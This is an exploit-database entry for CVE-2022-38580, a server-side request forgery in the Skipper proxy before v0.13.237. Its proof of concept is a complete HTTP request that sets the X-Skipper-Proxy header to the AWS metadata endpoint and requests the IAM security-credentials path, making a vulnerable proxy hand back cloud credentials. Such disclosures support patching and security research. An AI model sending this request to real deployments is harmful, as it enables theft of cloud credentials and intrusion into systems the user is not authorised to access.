X-Skipper-Proxy v0.13.237 – Server Side Request Forgery (SSRF)
#Exploit Title: X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF) #Date: 24/10/2022 #Exploit Author: Hosein Vita & Milad Fadavvi #Vendor Homepage: https://github.com/zalando/skipper #Software Link: https://github.com/zalando/skipper #Version: < v0.13.237 #Tested on: Linux #CVE: CVE-2022-38580 Summary: Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). An attacker can exploit a vulnerable version of proxy to access the internal metadata server or other unauthenticated URLs by adding an specific header (X-Skipper-Proxy) to the http request. Proof Of Concept: 1- Add header "X-Skipper-Proxy" to your request 2- Add the aws metadata to the path GET /latest/meta-data/iam/security-credentials HTTP/1.1 Host: yourskipperdomain.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 X-Skipper-Proxy: http://169.254.169.254 Connection: close Reference: https://github.com/zalando/skipper/security/advisories/GHSA-f2rj-m42r-6jm2 |